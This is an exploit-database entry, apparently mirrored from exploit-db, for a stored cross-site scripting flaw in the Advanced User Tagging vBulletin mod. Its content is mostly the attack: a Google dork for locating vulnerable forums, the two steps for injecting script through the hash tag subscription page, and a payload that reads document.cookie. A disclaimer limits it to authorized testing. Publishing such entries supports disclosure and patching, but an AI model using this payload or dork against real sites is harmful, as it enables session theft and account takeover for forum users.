vBulletin Advanced User Tagging Mod – Persistent Cross-Site Scripting

  • 作者: []0iZy5
    日期: 2013-07-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/26734/
  • ##########################################################################################
    #
    # Exploit Title: Advanced User Tagging vBulletin - Stored XSS Vulnerability
    # Google Dork: intext:usertag_pro
    # Date: 10.07.2013
    # Exploit Author: []0iZy5
    # Vendor Homepage: www.backtrack-linux.ro
    # Software Link: http://www.dragonbyte-tech.com/vbecommerce.php?productid=20&do=product
    # Version: vBulletin 3.8.x, vBulletin 4.x.x 
    # Tested on: Linux & Windows
    #
    ##########################################################################################
    #
    # Stage 1: Go to -> UserCP -> Hash Tag Subscriptions 
    # (Direct Link:) http://127.0.0.1/[path]/usertag.php?do=profile&action=hashsubscription
    #
    # Stage 2: Add a malicious hash tag.
    # (Example:) "><script>alert(document.cookie)</script>
    #
    ##########################################################################################
    #
    # This was written for educational purpose only. use it at your own risk. 
    # Author will be not responsible for any damage caused! user assumes all responsibility.
    # Intended for authorized web application pentesting only! 
    #
    ##########################################################################################